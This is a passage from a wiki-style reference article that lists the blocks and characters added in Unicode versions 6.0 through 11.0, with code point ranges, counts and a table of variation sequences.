* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3244-U+324F)
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''. (U+9FC4-U+9FCB)
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA6B-U+FA6D)
* Number two and three (total 2 characters) were added to '''Phoenician'''. (U+1091A-U+1091B)

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''' (U+0840-U+085F), containing 29 letters for Mandaic script, was added.
* '''Batak''' (U+1BC0-U+1BFF), containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''' (U+AB00-U+AB2F), containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiopic syllables, was added.
* '''Brahmi''' (U+11000-U+1107F), containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''' (U+16800-U+16A3F), containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''' (U+1B000-U+1B0FF), containing 2 characters for archaic katakana, was added.
* '''Playing Cards''' (U+1F0A0-U+1F0FF), containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''' (U+1F300-U+1F5FF), containing 529 additional symbols, was added.
* '''Emoticons''' (U+1F600-U+1F64F), containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''' (U+1F680-U+1F6FF), containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''' (U+1F700-U+1F77F), containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''' (U+2B740-U+2B81F), containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''. (U+0526-U+0527)
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''. (U+0620 and U+065F)
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''. (U+093A-U+093B, U+094F, U+0956-U+0957 and U+0973-U+0977)
* Fraction signs (total 6 characters) were added to '''Oriya'''. (U+0B72-U+0B77)
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''. (U+0D29, U+0D3A and U+0D4E)
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''. (U+0F8C-U+0F8F, U+0FD9-U+0FDA)
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''. (U+135D-U+135E)
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFC)
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''. (U+2095-U+209C)
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''. (U+20B9)
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''. (U+23E9-U+23F3)
* Ophiuchus, astronomical symbol for Uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''. (U+26CE, U+26E2 and U+26E4-U+26E7)
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''. (U+2705, U+270A-U+270B, U+2728, U+274C, U+274E, U+2753-U+2755, U+275F-U+2760, U+2795-U+2797, U+27B0 and U+27BF)
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CE-U+27CF)
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''. (U+2D70 and U+2D7F)
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''. (U+31B8-U+31BA)
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''. (U+A660-U+A661)
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''. (U+A78D-U+A78E, U+A790-U+A791, U+A7A0-U+A7A9 and U+A7FA)
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBB2-U+FBC1)
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F130, U+1F132-U+1F13C, U+1F13E, U+1F140-U+1F141, U+1F143-U+1F145, U+1F147-U+1F149, U+1F14F, U+1F150-U+1F156, U+1F158-U+1F15E, U+1F160-U+1F169, U+1F170-U+1F178, U+1F17A, U+1F17D-U+1F17E, U+1F180-U+1F189, U+1F18E-U+1F18F, U+1F191-U+1F19A and U+1F1E6-U+1F1FF)
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F201-U+1F202, U+1F232-U+1F23A and U+1F250-U+1F251)

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
